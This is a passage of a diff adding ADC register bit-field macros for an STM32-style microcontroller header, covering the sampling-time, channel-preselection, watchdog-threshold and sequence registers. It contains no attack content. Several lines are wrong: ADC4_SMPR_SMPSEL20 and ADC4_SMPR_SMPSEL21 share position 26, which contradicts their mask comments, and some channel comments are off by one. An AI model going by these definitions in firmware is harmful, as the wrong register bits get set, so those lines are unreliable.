/*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 (0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 (0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) 